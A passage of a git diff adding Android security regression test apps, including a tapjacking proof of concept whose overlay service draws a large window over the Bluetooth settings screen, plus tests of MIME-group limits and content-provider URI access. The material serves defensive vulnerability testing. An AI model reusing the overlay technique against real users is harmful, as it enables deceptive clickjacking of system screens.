+ TombstoneUtils.Signals.SIGSEGV,
+ TombstoneUtils.Signals.SIGBUS,
+ TombstoneUtils.Signals.SIGABRT,
+ };
String binaryName = "CVE-2019-9357";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182282630/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/BUG-182282630/AndroidManifest.xml
index 7f819bc..ef3e6cd 100644
--- a/hostsidetests/securitybulletin/test-apps/BUG-182282630/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182282630/AndroidManifest.xml
@@ -17,6 +17,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.security.cts.BUG_182282630"
android:targetSandboxVersion="2">
+ <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<application
android:label="@string/app_name"
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/Android.bp b/hostsidetests/securitybulletin/test-apps/BUG-182810085/Android.bp
new file mode 100644
index 0000000..d7af1ca
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "BUG-182810085",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
+ static_libs: [
+ "androidx.appcompat_appcompat",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/BUG-182810085/AndroidManifest.xml
new file mode 100644
index 0000000..5777c18
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/AndroidManifest.xml
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.BUG_182810085"
+ minSdkVersion="29">
+
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+ <application android:theme="@style/Theme.AppCompat.Light">
+ <uses-library android:name="android.test.runner" />
+ <service android:name=".OverlayService"
+ android:enabled="true"
+ android:exported="false" />
+
+ <activity
+ android:name=".MainActivity"
+ android:label="ST (Permission)"
+ android:exported="true"
+ android:taskAffinity="android.security.cts.BUG_182810085.MainActivity">
+
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.BUG_182810085" />
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/layout/activity_main.xml
new file mode 100644
index 0000000..0ac0cf4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/layout/activity_main.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<RelativeLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:gravity="left"
+ tools:context=".MainActivity" >
+
+ <LinearLayout
+ android:id="@+id/linearLayout1"
+ android:layout_width="fill_parent"
+ android:layout_height="wrap_content"
+ android:layout_below="@+id/seekShowTimes"
+ android:layout_centerHorizontal="true"
+ android:layout_marginTop="53dp"
+ android:orientation="horizontal" >
+
+ <Button
+ android:id="@+id/btnStart"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Start" />
+
+ </LinearLayout>
+
+</RelativeLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/values/strings.xml
new file mode 100644
index 0000000..347c9e1
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/values/strings.xml
@@ -0,0 +1,19 @@
+<!--
+ ~ Copyright (C) 2021 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<resources>
+ <string name="tapjacking_text">BUG_182810085 overlay text</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/Constants.java
similarity index 60%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/Constants.java
index 1a335c7..d7b940e 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/Constants.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2022 The Android Open Source Project
+ * Copyright (C) 2021 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,9 +14,12 @@
* limitations under the License.
*/
-package android.security.cts.cve_2021_0642;
+package android.security.cts.BUG_182810085;
-import android.app.Activity;
+final class Constants {
-public class PocActivity extends Activity {
+ public static final String LOG_TAG = "BUG-182810085";
+ public static final String TEST_APP_PACKAGE = Constants.class.getPackage().getName();
+
+ public static final String ACTION_START_TAPJACKING = "BUG_182810085.start_tapjacking";
}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/DeviceTest.java
new file mode 100644
index 0000000..4dbe976
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/DeviceTest.java
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_182810085;
+
+import static android.security.cts.BUG_182810085.Constants.LOG_TAG;
+
+import org.junit.Before;
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.util.Log;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertNotNull;
+
+/** Basic sample for unbundled UiAutomator. */
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ private static final long WAIT_FOR_UI_TIMEOUT = 20_000;
+
+ private Context mContext;
+ private UiDevice mDevice;
+
+ @Before
+ public void setUp() throws Exception {
+ Log.d(LOG_TAG, "startMainActivityFromHomeScreen()");
+
+ mContext = getApplicationContext();
+
+ // If the permission is not granted, the app will not be able to show an overlay dialog.
+ // This is required for the test below.
+ // NOTE: The permission is granted by the HostJUnit4Test implementation and should not fail.
+ assertEquals("Permission SYSTEM_ALERT_WINDOW not granted!",
+ mContext.checkSelfPermission("android.permission.SYSTEM_ALERT_WINDOW"),
+ PackageManager.PERMISSION_GRANTED);
+
+ // Initialize UiDevice instance
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ if (!mDevice.isScreenOn()) {
+ mDevice.wakeUp();
+ }
+ mDevice.pressHome();
+ }
+
+ @Test
+ public void testTapjacking() throws InterruptedException {
+ Log.d(LOG_TAG, "Starting tap-jacking test");
+
+ launchTestApp();
+
+ launchTapjackedActivity();
+
+ mContext.sendBroadcast(new Intent(Constants.ACTION_START_TAPJACKING));
+ Log.d(LOG_TAG, "Sent intent to start tap-jacking!");
+
+ UiObject2 overlay = waitForView(By.text(mContext.getString(R.string.tapjacking_text)));
+ assertNull("Tap-jacking successful. Overlay was displayed.!", overlay);
+ }
+
+ @After
+ public void tearDown() {
+ mDevice.pressHome();
+ }
+
+ private void launchTestApp() {
+ Intent intent = mContext.getPackageManager().getLaunchIntentForPackage(
+ Constants.TEST_APP_PACKAGE);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ mContext.startActivity(intent);
+
+ // Wait for the app to appear
+ UiObject2 view = waitForView(By.pkg(Constants.TEST_APP_PACKAGE).depth(0));
+ assertNotNull("test-app did not appear!", view);
+ Log.d(LOG_TAG, "test-app appeared");
+ }
+
+ private void launchTapjackedActivity() {
+ Intent intent = new Intent();
+ intent.setAction("android.settings.BLUETOOTH_SETTINGS");
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK | Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(intent);
+
+ UiObject2 activityInstance = waitForView(By.pkg("com.android.car.settings").depth(0));
+ assertNotNull("Activity under-test was not launched or found!", activityInstance);
+
+ Log.d(LOG_TAG, "Started Activity under-test.");
+ }
+
+ private UiObject2 waitForView(BySelector selector) {
+ return mDevice.wait(Until.findObject(selector), WAIT_FOR_UI_TIMEOUT);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/MainActivity.java b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/MainActivity.java
new file mode 100644
index 0000000..b31e83b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/MainActivity.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts.BUG_182810085;
+
+import static android.security.cts.BUG_182810085.Constants.LOG_TAG;
+
+import android.app.AlertDialog;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.util.Log;
+import android.view.Gravity;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+import android.widget.ImageView;
+import android.widget.SeekBar;
+import android.widget.Toast;
+
+import androidx.annotation.Nullable;
+import androidx.appcompat.app.AppCompatActivity;
+
+import java.util.ArrayList;
+
+/** Main activity for the test-app. */
+public final class MainActivity extends AppCompatActivity {
+
+ private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+ public void onReceive(Context context, Intent intent) {
+ startTapjacking();
+ }
+ };
+
+ private Button btnStart;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+
+ registerReceiver(mReceiver, new IntentFilter(Constants.ACTION_START_TAPJACKING));
+
+ btnStart = (Button) findViewById(R.id.btnStart);
+ btnStart.setOnClickListener(v -> startTapjacking());
+ }
+
+ @Override
+ protected void onDestroy() {
+ super.onDestroy();
+ unregisterReceiver(mReceiver);
+ stopOverlayService();
+ }
+
+ public void startTapjacking() {
+ Log.d(LOG_TAG, "Starting tap-jacking flow.");
+ stopOverlayService();
+
+ startOverlayService();
+ Log.d(LOG_TAG, "Started overlay-service.");
+ }
+
+ private void startOverlayService() {
+ startService(new Intent(getApplicationContext(), OverlayService.class));
+ }
+
+ private void stopOverlayService() {
+ stopService(new Intent(getApplicationContext(), OverlayService.class));
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/OverlayService.java b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/OverlayService.java
new file mode 100644
index 0000000..0c62a80
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/OverlayService.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_182810085;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Looper;
+import android.provider.Settings;
+import android.util.DisplayMetrics;
+import android.util.Log;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.widget.Button;
+
+/** Service that starts the overlay for the test. */
+public final class OverlayService extends Service {
+ public Button mButton;
+ private WindowManager mWindowManager;
+ private WindowManager.LayoutParams mLayoutParams;
+
+ @Override
+ public void onCreate() {
+ Log.d(Constants.LOG_TAG, "onCreate() called");
+ super.onCreate();
+
+ DisplayMetrics displayMetrics = Resources.getSystem().getDisplayMetrics();
+ int scaledWidth = (int) (displayMetrics.widthPixels * 0.9);
+ int scaledHeight = (int) (displayMetrics.heightPixels * 0.9);
+
+ mWindowManager = getSystemService(WindowManager.class);
+ mLayoutParams = new WindowManager.LayoutParams();
+ mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+ mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+ | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+ mLayoutParams.format = PixelFormat.OPAQUE;
+ mLayoutParams.gravity = Gravity.CENTER;
+ mLayoutParams.width = scaledWidth;
+ mLayoutParams.height = scaledHeight;
+ mLayoutParams.x = scaledWidth / 2;
+ mLayoutParams.y = scaledHeight / 2;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ Log.d(Constants.LOG_TAG, "onStartCommand() called");
+ showFloatingWindow();
+ return super.onStartCommand(intent, flags, startId);
+ }
+
+ @Override
+ public void onDestroy() {
+ Log.d(Constants.LOG_TAG, "onDestroy() called");
+ if (mWindowManager != null && mButton != null) {
+ mWindowManager.removeView(mButton);
+ }
+ super.onDestroy();
+ }
+
+ private void showFloatingWindow() {
+ if (!Settings.canDrawOverlays(this)) {
+ Log.w(Constants.LOG_TAG, "Cannot show overlay window. Permission denied");
+ }
+
+ mButton = new Button(getApplicationContext());
+ mButton.setText(getResources().getString(R.string.tapjacking_text));
+ mButton.setTag(mButton.getVisibility());
+ mWindowManager.addView(mButton, mLayoutParams);
+
+ new Handler(Looper.myLooper()).postDelayed(this::stopSelf, 60_000);
+ Log.d(Constants.LOG_TAG, "Floating window created");
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-237291548/Android.bp b/hostsidetests/securitybulletin/test-apps/BUG-237291548/Android.bp
new file mode 100644
index 0000000..9ac80ac
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-237291548/Android.bp
@@ -0,0 +1,64 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "BUG-237291548",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
+ static_libs: [
+ "androidx.appcompat_appcompat",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ sdk_version: "current",
+}
+
+android_test_helper_app {
+ name: "BUG-237291548-FAIL-INSTALL",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ manifest: ":BUG-237291548-BAD-MANIFEST",
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
+ static_libs: [
+ "androidx.appcompat_appcompat",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ sdk_version: "current",
+}
+
+// Modify the manifest file to include more than 500 MIME groups. The resulting
+// test apk generated using this manifest should fail package install since the
+// number of MIME groups is limited to a maximum of 500 per package.
+genrule {
+ name: "BUG-237291548-BAD-MANIFEST",
+ srcs: ["AndroidManifest.xml"],
+ out: ["BadAndroidManifest.xml"],
+ cmd: "awk '/myMimeGroup/{print;for(i=0;i<501;i++){sub(/myMimeGroup[0-9]*/,\"myMimeGroup\"i);print}}1' $(in) > $(out)",
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-237291548/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/BUG-237291548/AndroidManifest.xml
new file mode 100644
index 0000000..cc692b8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-237291548/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.BUG_237291548"
+ android:targetSandboxVersion="2">
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ <activity
+ android:name=".MainActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ <data android:mimeGroup="myMimeGroup" />
+ </intent-filter>
+ </activity>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.BUG_237291548" />
+
+</manifest>
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-237291548/src/android/security/cts/BUG_237291548/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-237291548/src/android/security/cts/BUG_237291548/DeviceTest.java
new file mode 100644
index 0000000..e4554aa
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-237291548/src/android/security/cts/BUG_237291548/DeviceTest.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_237291548;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.pm.PackageManager;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.HashSet;
+import java.util.Set;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ private static final String MIME_GROUP = "myMimeGroup";
+
+ PackageManager mPm = getApplicationContext().getPackageManager();
+
+ @Test(expected = IllegalStateException.class)
+ public void testExceedGroupLimit() {
+ Set<String> mimeTypes = mPm.getMimeGroup(MIME_GROUP);
+ assertEquals(mimeTypes.size(), 0);
+ for (int i = 0; i < 500; i++) {
+ mimeTypes.add("MIME" + i);
+ mPm.setMimeGroup(MIME_GROUP, mimeTypes);
+ }
+ mimeTypes = mPm.getMimeGroup(MIME_GROUP);
+ assertEquals(500, mimeTypes.size());
+ mimeTypes.add("ONETOMANYMIME");
+ mPm.setMimeGroup(MIME_GROUP, mimeTypes);
+ }
+
+ @Test(expected = IllegalArgumentException.class)
+ public void testExceedMimeLengthLimit() {
+ Set<String> mimeTypes = new HashSet<>();
+ mimeTypes.add(new String(new char[64]).replace("\0", "MIME"));
+ mPm.setMimeGroup(MIME_GROUP, mimeTypes);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-261036568/content-provider/Android.bp b/hostsidetests/securitybulletin/test-apps/BUG-261036568/content-provider/Android.bp
new file mode 100644
index 0000000..d6d3022
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-261036568/content-provider/Android.bp
@@ -0,0 +1,24 @@
+// Copyright (C) 2023 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "Bug-261036568-provider",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ asset_dirs: ["assets"],
+ test_suites: [
+ "sts",
+ ],
+ sdk_version: "current",
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-261036568/content-provider/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/BUG-261036568/content-provider/AndroidManifest.xml
new file mode 100644
index 0000000..71e37a3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-261036568/content-provider/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+ <!--
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.BUG_261036568_provider">
+
+ <permission-tree android:name="com.android.cts"/>
+
+ <application
+ android:label="BUG-261036568-provider">>
+ <provider
+ android:name=".ImageProvider"
+ android:authorities="android.security.cts.BUG_261036568_provider"
+ android:enabled="true"
+ android:exported="true" />
+ </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-261036568/content-provider/assets/x.png b/hostsidetests/securitybulletin/test-apps/BUG-261036568/content-provider/assets/x.png
new file mode 100644
index 0000000..8d17dab
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-261036568/content-provider/assets/x.png
Binary files differ
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-261036568/content-provider/src/android/security/cts/BUG_261036568_provider/ImageProvider.java b/hostsidetests/securitybulletin/test-apps/BUG-261036568/content-provider/src/android/security/cts/BUG_261036568_provider/ImageProvider.java
new file mode 100644
index 0000000..667a0c0
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-261036568/content-provider/src/android/security/cts/BUG_261036568_provider/ImageProvider.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_261036568_provider;
+
+import static android.os.Binder.getCallingUid;
+import static android.os.Binder.getCallingUserHandle;
+import static android.os.Process.myUid;
+import static android.os.Process.myUserHandle;
+import static android.provider.DocumentsContract.Document.FLAG_SUPPORTS_THUMBNAIL;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.content.res.AssetFileDescriptor;
+import android.database.Cursor;
+import android.database.MatrixCursor;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+import android.os.UserHandle;
+import android.provider.DocumentsContract;
+import android.provider.OpenableColumns;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.Set;
+
+public class ImageProvider extends ContentProvider {
+
+ private final Set<String> accessedUris = new HashSet<>();
+
+ @Override
+ public boolean onCreate() {
+ return true;
+ }
+
+ @Override
+ public AssetFileDescriptor openAssetFile(Uri uri, String mode) {
+ maybeRecordUriAccess(uri);
+ try {
+ return getContext().getAssets().openFd("x.png");
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ @Override
+ public ParcelFileDescriptor openFile(Uri uri, String mode) {
+ AssetFileDescriptor fd = openAssetFile(uri, mode);
+ return fd == null ? null : fd.getParcelFileDescriptor();
+ }
+
+ @Override
+ public Bundle call(String method, String arg, Bundle extras) {
+ Bundle result = new Bundle();
+ if (method.equals("verify")) {
+ result.putBoolean("passed", accessedUris.isEmpty());
+ result.putStringArrayList("accessed_uris", new ArrayList<>(accessedUris));
+ accessedUris.clear();
+ }
+ return result;
+ }
+
+
+ @Override
+ public String getType(Uri uri) {
+ return uri.getPath().endsWith(".png") ? "image/png" : "*/*";
+ }
+
+ @Override
+ public Cursor query(Uri uri, String[] projection, String selection,
+ String[] selectionArgs, String sortOrder) {
+ MatrixCursor cursor = new MatrixCursor(new String[] {
+ OpenableColumns.DISPLAY_NAME,
+ DocumentsContract.Root.COLUMN_TITLE,
+ DocumentsContract.Document.COLUMN_FLAGS
+ });
+ cursor.addRow(new Object[] {
+ "DISPLAY_NAME",
+ "TITLE",
+ FLAG_SUPPORTS_THUMBNAIL
+ });
+ return cursor;
+ }
+
+ @Override
+ public Uri insert(Uri uri, ContentValues values) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override
+ public int delete(Uri uri, String selection,
+ String[] selectionArgs) {
+ throw new UnsupportedOperationException();
+ }
+
